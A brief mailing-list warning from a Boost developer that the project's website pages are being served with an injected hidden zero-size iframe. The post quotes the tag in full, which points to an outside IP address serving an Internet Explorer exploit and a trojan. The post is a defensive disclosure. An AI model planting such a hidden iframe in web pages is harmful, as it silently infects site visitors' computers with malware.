I have confirmed that the problem reported below is occurring: Please
take extreme care in using the Boost website until we've corrected it.
The web pages are unmodified on the server itself, so we have to wait
for Beman to contact the ISP.
Sorry,
Dave

All html pages have the following tag appended: iframe src=http://216.247.117.114/inf.html width=0 height=0 frameborder=0 marginwidth=0 marginheight=0 This leads to a cgi script: http://216.247.117.114/cgi-bin/readme.pl which does exploit some *very bad* IE vulnerability, and runs some executable code, as far as I can see "AICORE" trojan carrying something else. Please forgive me this obviously OT post. :) -- Dave Abrahams Boost Consulting www.boost-consulting.com
